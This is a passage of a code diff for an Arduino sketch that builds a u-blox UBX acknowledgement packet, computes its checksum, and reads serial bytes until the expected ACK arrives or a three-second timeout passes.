+  ackPacket[6] = MSG[2];	// ACK class
+  ackPacket[7] = MSG[3];	// ACK id
+  ackPacket[8] = 0;		// CK_A
+  ackPacket[9] = 0;		// CK_B
+
+  // Calculate the checksums
+  for (uint8_t i=2; i<8; i++) {
+    ackPacket[8] = ackPacket[8] + ackPacket[i];
+    ackPacket[9] = ackPacket[9] + ackPacket[8];
+  }
+
+  while (1) {
+
+    // Test for success
+    if (ackByteID > 9) {
+      // All packets in order!
+      //mySerial.println(" (SUCCESS!)");
+      return true;
+    }
+
+    // Timeout if no valid response in 3 seconds
+    if (millis() - startTime > 3000) {
+      //mySerial.println(" (FAILED!)");
+      return false;
+    }
+
+    // Make sure data is available to read
+    if (Serial.available()) {
+      b = Serial.read();
+
+      // Check that bytes arrive in sequence as per expected ACK packet
+      if (b == ackPacket[ackByteID]) {
+        ackByteID++;
+        //mySerial.print(b, HEX);
+      }
+      else {
+        ackByteID = 0;	// Reset and look again, invalid order
+      }
+
+    }
+  }
+}